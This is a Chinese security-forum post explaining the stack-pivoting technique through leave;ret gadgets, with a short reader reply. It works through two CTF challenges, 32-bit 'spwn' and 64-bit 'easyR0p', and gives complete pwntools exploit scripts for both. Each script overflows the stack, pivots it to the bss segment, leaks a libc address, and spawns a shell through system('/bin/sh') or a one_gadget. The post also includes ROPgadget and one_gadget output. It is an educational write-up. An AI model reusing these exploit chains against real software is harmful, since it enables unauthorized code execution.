首页
论坛
课程
招聘
[原创]栈迁移
2020-3-7 11:05 5672

[原创]栈迁移

2020-3-7 11:05
5672

看到了一道栈迁移的题,就来写一下加深印象

前提

未开启NX,且栈溢出大小较小,无法直接泄露libc_base

 

以32位为例,在使用call这个命令,进入一个函数的时候,程序会进行一系列栈操作:
push eip+4;push ebp;mov ebp,esp;来保护现场,避免执行完函数后堆栈不平衡以及找不到之前的入口地址。
leave ret相当于:

leave ==> mov esp, ebp;  pop ebp;
ret   ==> pop eip

其中pop eip相当于将栈顶数据给eip,由于ret返回的是栈顶数据,而栈顶地址是由esp的值决定的,esp的值,从leave可以得出是由ebp决定的。所以我们可以通过覆盖ebp的值来控制ret返回地址。两次leave ret即可控制esp为我们想要的地址。由于有pop ebp,会使esp-4,将ebp 覆盖为想要调整的位置-4即可

32位例题

[Black Watch入群题]spwn

 

这个题有一个便捷的就是s就是在bss段

exp

#!usr/bin/python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

ip = "node3.buuoj.cn"
port = 29414
io = 0
elf = ELF("./spwn")
leave_ret = 0x08048511
bss_s = 0x0804A300
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
# print "main_addr = " +hex(main_addr)

def pwn(ip, port, debug):
    global io
    if(debug == 1):
        io = process("./spwn")
    else:
        io = remote(ip, port)

    io.recvuntil("name?")
    # payload = p32(puts_plt) + p32(main_addr) + p32(puts_got)
    payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    io.send(payload)

    io.recvuntil("say?")
    payload = "a" * 0x18 + p32(bss_s-4) + p32(leave_ret)
    io.send(payload)


    leak_addr = u32(io.recv(4))
    libc = LibcSearcher('write', leak_addr)
    # libc = LibcSearcher('puts', leak_addr)
    libc_base = leak_addr - libc.dump('write')
    # libc_base = leak_addr - libc.dump('puts')

    sys_addr = libc_base + libc.dump('system')

    io.recv()
    payload = p32(sys_addr) + p32(main_addr) + p32(bss_s+4*3) + "/bin/sh\x00"
    io.send(payload)
    io.recv()
    io.send("a" * 0x18 + p32(bss_s-4) + p32(leave_ret))
    io.interactive()

if __name__ == '__main__':
    pwn(ip, port, 0)

这里试验泄露puts不行,问了出题人,他说是因为puts很吃栈,导致stack跑到不可写区段了。

64位例题

easyR0p

 

与上题的溢出是一样的,但是这个题没有直接写入bss的变量,64位使用寄存器传参

easyr0p$ ROPgadget --binary easyR0p --only "pop|ret"
Gadgets information
============================================================
0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop r14 ; pop r15 ; ret
0x00000000004007d2 : pop r15 ; ret
0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400625 : pop rbp ; ret
0x00000000004007d3 : pop rdi ; ret
0x00000000004007d1 : pop rsi ; pop r15 ; ret
0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400559 : ret
0x0000000000400655 : ret 0xc148

Unique gadgets found: 12

我们在ida中可以找到调用read的片段。数据x偏移 + ebp + ret可以溢出覆盖ebp的值,达到read到bss的效果。

 

可以使用system("/bin/sh")或者one_gadget

easyr0p$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

exp

#!usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

ip = " "
port = 0
io = 0
elf = ELF("./easyR0p")
leave_ret = 0x000000000040071C
bss_start = 0x601100        # 0x0000000000601060
read = 0x00000000004006F5
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x00000000004007d3        # pop rdi ; ret
pop_rsi_r15 = 0x00000000004007d1        # pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400625        # pop rbp ; ret
main_addr = elf.symbols['main']
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

def pwn(ip, port, debug):
    global io, one_gadget
    if(debug == 1):
        io = process("./easyR0p")
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        io = remote(ip, port)
    payload = "a" * 0x40 + p64(bss_start+0x60+0x40) + p64(read)        # 向 bss_start+0x60 中写入
    io.sendafter('$', payload)
    payload  = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
    payload += p64(pop_rbp) + p64(bss_start+0x60+0x40) + p64(read)        # leave ret到这里时好继续read system
    payload += "b" * (0x40-len(payload))
    payload += p64(bss_start+0x60-8) + p64(leave_ret)
    io.send(payload)

    io.recvuntil('\x0a')
    io.recvuntil('\x0a')
    leak_addr = u64(io.recv(6).ljust(8, '\x00'))
    # leak_addr = u64(io.recv(6)[:-1].ljust(8, '\x00'))
    print "leak_addr = " +hex(leak_addr)
    libc_base = leak_addr - libc.sym['puts']
    '''
    sys_addr = libc_base + libc.sym['system']
    print "sys_addr = " +hex(sys_addr)
    binsh_addr = libc_base + libc.search("/bin/sh").next()
    '''
    one_gadget = libc_base + one_gadget[2]
    '''
    libc = LibcSearcher('puts', leak_addr)
    libc_base = leak_addr - libc.dump('puts')
    sys_addr = libc_base + libc.dump('system')
    binsh_addr = libc_base + libc.dump("str_bin_sh")
    payload = p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)
    '''
    payload = p64(one_gadget)
    io.send(payload)
    io.interactive()

if __name__ == '__main__':
    pwn(ip, port, 1)

参考:
https://blog.csdn.net/lee_ham/article/details/81986906
https://wintersun.space/2016/05/20/pwn-%E5%85%B3%E4%BA%8E%E6%A0%88%E7%9A%84%E8%BF%81%E7%A7%BB/


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

最后于 2020-3-7 11:06 被plkk编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_kugwraep 活跃值 2020-4-1 22:59
2
0
谢谢分享,很有用
游客
登录 | 注册 方可回帖
返回